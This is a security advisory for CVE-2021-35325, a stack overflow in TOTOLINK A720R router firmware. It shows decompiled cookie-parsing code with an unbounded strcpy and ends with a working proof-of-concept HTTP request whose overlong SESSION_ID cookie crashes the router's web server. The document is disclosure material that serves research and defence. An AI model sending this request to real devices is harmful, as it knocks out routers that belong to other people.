TOTOLINK Vulnerability

Vendor:TOTOLINK

Product:A720R

Version:A720R_Firmware(V4.1.5cu.470_B20200911)

Type:Stack overflow

Author:Huizhao Wang, Chuan Qin

Institution:wanghuizhao@iie.ac.cn, qinchuan@iie.ac.cn

Vulnerability description

We found a stack overflow vulnerability in TOTOLINK Technology router with firmware which was released recently, allows remote attackers to crash the server.

In `checkLoginUser` function, `ws_get_cookie` parses the cookie data in the HTTP request and pass cookie_buffer parameter.

```
int __fastcall checkLoginUser(int a1, int a2)
{
  int v3; // [sp+18h] [+18h]
  char **i; // [sp+1Ch] [+1Ch]
  int v5; // [sp+20h] [+20h]
  int v6; // [sp+28h] [+28h]
  char cookie_buffer[64]; // [sp+3Ch] [+3Ch] BYREF
  char v8[256]; // [sp+7Ch] [+7Ch] BYREF
  char *v9[7]; // [sp+17Ch] [+17Ch] BYREF

  v6 = 0;
  memset(v8, 0, sizeof(v8));
  v9[0] = "login.html";
  v9[1] = "index.html";
  v9[2] = "error.html";
  v9[3] = "login_ie.html";
  v9[4] = "wizard.html";
  v9[5] = 0;
  v3 = time(0);
  for ( i = v9; *i; ++i )
  {
    if ( strstr(**(_DWORD **)(a1 + 320), *i)
      && !strstr(**(_DWORD **)(a1 + 320), "basic/index.html")
      && !strstr(**(_DWORD **)(a1 + 320), "advance/index.html") )
    {
      return 0;
    }
  }
  strcpy(v8, **(_DWORD **)(a1 + 272));
  if ( ws_get_cookie(a1, "SESSION_ID", cookie_buffer) )
    goto LABEL_9;
  v5 = form_get_idx_by_sessionid(fl_sess, v3, cookie_buffer);
  if ( v5 != -1 )
  {
    iLOGIN_INDEX = v5;
    fl_sess[27 * v5 + 25] = v3;
    v6 = 1;
  }
  if ( v6 )
    return 0;
LABEL_9:
  sprintf(a2, "http://%s/index.html", v8);
  return 1;
}
```

In `ws_get_cookie` function, `strstr` gets the location of `SESSION_ID` and then `strcpy` the content after `=` to the buffer. If the length of the data exceeds `64`, stack overflow will occur.

```c
int __fastcall ws_get_cookie(int a1, int key_word, char *buffer)
{
  _BYTE *v4; // [sp+18h] [+18h]
  _BYTE *v5; // [sp+18h] [+18h]
  _BYTE *v6; // [sp+18h] [+18h]
  _BYTE *i; // [sp+1Ch] [+1Ch]
  int v8; // [sp+20h] [+20h]
  int v9; // [sp+24h] [+24h]
  char v10[128]; // [sp+28h] [+28h] BYREF

  memset(v10, 0, sizeof(v10));
  if ( !*(_DWORD *)(a1 + 376) )
    return 1;
  v9 = *(_DWORD *)(a1 + 292);
  if ( !v9 )
    return 1;
  v8 = strstr(v9, key_word);
  if ( !v8 )
    return 1;
  for ( i = (_BYTE *)(v8 + strlen(key_word)); *i == ' ' || *i == '\t'; ++i )// move position
    ;
  if ( *i == '=' )
  {
    strcpy(buffer, i + 1);                      // overflow
    v4 = (_BYTE *)strstr(buffer, "\r\n");       // make \r\n = 0
    if ( v4 )
      *v4 = 0;
    v5 = (_BYTE *)strchr(buffer, '\n');
    if ( v5 )
      *v5 = 0;
    v6 = (_BYTE *)strchr(buffer, ';');
    if ( v6 )
      *v6 = 0;
    strlen(buffer);
  }
  return 0;
}
```

POC

Sending the following GET request will cause the web server to crash.

```
GET /advance/config.html?time=1623724425083 HTTP/1.1
Host: 192.168.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;
Referer: http://192.168.0.1/advance/changepwd.html?time=1623724423096
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1623661990:2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Connection: close
```

CVE info

CVE-2021-35325